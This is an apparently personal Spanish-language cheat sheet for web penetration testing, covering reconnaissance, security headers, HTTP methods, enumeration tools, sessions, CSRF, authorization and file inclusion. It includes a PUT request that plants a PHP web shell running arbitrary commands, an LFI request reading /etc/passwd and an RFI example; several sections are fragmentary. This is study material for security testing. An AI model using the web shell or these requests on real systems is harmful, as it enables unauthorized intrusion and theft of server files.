Comment on page
🕸
Web
Recolección de información de la weba basándonos en fuentes públicas (publicado en internet) sin interacción directa con la aplicación web. Google Dorks
- site:domain
- allinurl:domain
- inurl:domain
- allintitle:domain
- intitle:domain
- intext:domain
- "domain"
- cache:domain
- link:domain
- filetype:[.pdf|.txt.|.php|.html|.db|...]
Recolección de información a través de interacción directa con la aplicación web.
- secure -> fuerza el uso de HTTPS
- httpOnly -> evita XSS
- SameSite -> mejora la protección contra CSRF [SameSite=Strict]
0.2.3.1. Cabeceras HTTP
Las Cabeceras HTTP son los parámetros que se envían en una petición o respuesta HTTP al cliente o al servidor para proporcionar información esencial sobre la transacción en curso. Dentro de estas cabeceras existen unas específicas que se consideran cabeceras de seguridad, ya que su configuración proporciona capas extra se seguridad a la aplicación.
- HSTS, HTTP Strict Transport Security. Permite "decirle" a un navegador que siempre "quiere" que un usuario se conecte usando HTTPs en lugar de HTTP, de forma que evita ataques de MiTM.
- X-Frame-Opitions. El servidor le indica al cliente que la página no puede ser cargada en un iframe. Protege a los clientes contra ataques de clickjacking. Opciones:
- Same Origin: Desde el mismo dominio.
- Deny: De ningún dominio.
- Allow from: De determinado dominio.
- X-Xss-Protection. Se usa para configurar la protección contra XSS Reflejados. Las configuraciones válidas para el encabezado son:
- 0 -> deshabilita la protección
- 1 -> habilita la protección
- 1; mode=block -> indica al navegador que bloquee la respuesta si detecta un ataque.
- Content-Security-Policy. Directivas:
- script-src: Definir desde dónde los scripts se pueden ejecutar.
- img-src: Definir desde dónde se pueden cargar imágenes.
- media-scr: Definir desde dónde se pueden cargar videos/audio.
- frame-src: Definir desde dónde se pueden incrustar iframes.
- default-src: Definir la política de carga para todo tipo de recursos.
- X-Content-Type-Options. Es usado cuando se permite que usuarios suban contenido a la aplicación.
- MIME sniffing: Inspecciona el contenido para determinar el formato (text, video, etc).
- X-Content-Type-Options:nosniff.
Herramientas en local:
- Cabeceras de las peticiones (burp, herramientas de navegador)
Herramientas online:
0.2.3.2. Métodos HTTP
- GET -> Envío de información, la información se envía en la propia URL
- POST -> Envío de información, la información se envía en el cuerpo de la petición (recomendada para enviar información sensible al servidor, por ejemplo peticiones de login)
- OPTIONS -> Devuelve métodos HTTP aceptados por el servidor
- PUT -> Permite enviar datos al servidor
PUT /test/shell.php HTTP 1.1
Host: ejemplodehost.meow
...
<?php echo system(($_REQUEST['cmd'])); ?>
- TRACE -> Se usa para depurar mensajes con la función de eco para los mensajes HTTP, con el fin de comprobar que las peticiones realizadas son recibidas correctamente en el servidor.
- CONNECT --> Permite crear un túnel HTTP a través de un servidor proxy.
CONNECT ejemplodehost.meow:443 HTTP/1.1
Host: ejemplodehost.meow:443
DEBUG ->
DEBUG / HTTP 1.1
Host: ejemplodehost.meow
...
Command: stop-debug
0.2.3.3. HTTP Smuggling
Los recursos de PortSwigger lo explican genial:
- Filtrar el URI donde se encuentran ficheros -
$ grep -w "" | cut -d "" -f2 > output.txt
- Descargar ficheros de la web -
$ wget -i output.txt
- Analizar el contenido de ficheros -
$ exiftool -j /path/where/files/are/located
Herramientas Online
- NMAP
nmap -sV -vv IP|dominio --script vulners
masscan IP|dominio -p numPuerto
amass enum -d dominio
subfinder -v -d dominio
Herramientas online:
- DIRB-X -> extensión
dirb domain -X .html /path/to/wordlist
- GOBUSTER-s -> evita mostrar resultados con XXX tipo de error-r -> sigue la redirección-wildcard -> salta la verificación de certificado SSL
gobuster dir --url https://IP:port/ --wordlist /path/to/wordlist -s 301,302,304,400,401,403,404,500 -r --wildcard
- -e --> filtra por diferentes tipos de extensiones de ficheros
- -F --> hace búsquedas recursivas
python3 dirsearch/dirsearch.py -u https://domain -w /path/to/wordlist -e all -F
- WFUZZ
- buscar directorios -
$ wfuzz -w /path/to/wordlist domain/FUZZ
- buscar ficheros -
$ wfuzz -w /path/to/wordlist domain/FUZZ.html
- Online
- Descargar el código fuente de la web:
wget -m URL
- Filtra las URIs donde se encuentran ubicados los ficheros:
grep -w "" | cut -d "" -f2 > output.txt
- Descarga los ficheros de la web:
wget -i output.txt
exiftool /path/to/files/directory
- NIKTO
nikto -h IP|dominio:puerto
Herramientas de detección:
Recursos:
Evaluar conexiones SSL/TLS para asegurar que los cifrados son robustos. Se evalúan protocolos aceptados por el servidor, suites de cifrado, vulnerabilidades SSL conocidas que puedan afectar al servidor...
Herramientas:
Evadir Basic/Digest Authentication:
Vulnerabilidades derivadas de una validación incorrecta de los datos de entrada en el servidor.
Para su explotación, es recomendable hacer uso de diccionarios de payloads, según el tipo que corresponda.
Herramientas:
El Server-side Request Forgery (SSRF) pretende realizar peticiones al servidor solicitando que recursos del backend ejecuten funciones maliciosas.
Si la aplicación tiene parte privada (formulario de login), se debe revisar cómo gestiona a las sesiones de los usuarios. Comprobar:
- ¿Cambia la cookie de sesión cuando inicio sesión? --> Session fixation
- ¿La cookie se da de baja en el servidor cuando cierro sesión?
- ¿Puedo hacer peticiones válidas al servidor con cookies que deberían estar invalidadas?
- Atributos de la cookie de sesión:
- httponly
- secure
Busca ejecutar funcionalidades de usuarios autenticados, de forma que:
- Es necesario que la víctima esté autenticada en la aplicación vulnerable.
- A través de ingeniería social, el atacante engaña a la víctima para que, por ejemplo, haga click en un enlace que ejecuta una petición en la aplicación, con su sesión (de la víctima).
- El usuario no es consciente de la ejecución de la petición.
- Se abusa de la confianza que la aplicación tiene en sus usuario.
En el caso de haber diferentes roles de usuarios, se debe revisar los permisos de cada uno en la aplicación y si se gestiona correctamente la autorización, de forma que cada usuario sólo tiene permiso a las acciones que necesita y no puede ejecutar otras acciones de otros roles:
- Analizar los permisos (accesos y funcionalidades) de cada tipo de rol.
- ¿puedo acceder a rutas/funcionalidades de otro rol?
Estas vulnerabilidades afectan a la subida de ficheros en una aplicación web.
Acceso a ficheros dentro de un mismo servidor, ejecutando código en la aplicación para acceder a recursos del servidor.
GET dominio.meow/ejemplolfi.php?file=../../../etc/passwd HTTP/1.1
Acceso a ficheros en servidores remotos.
GET dominio.meow/ejemplorfi.php?file=dominioRemoto/ficheroMalicioso HTTP/1.1
Analiza las respuestas del servidor si:
Last modified 1yr ago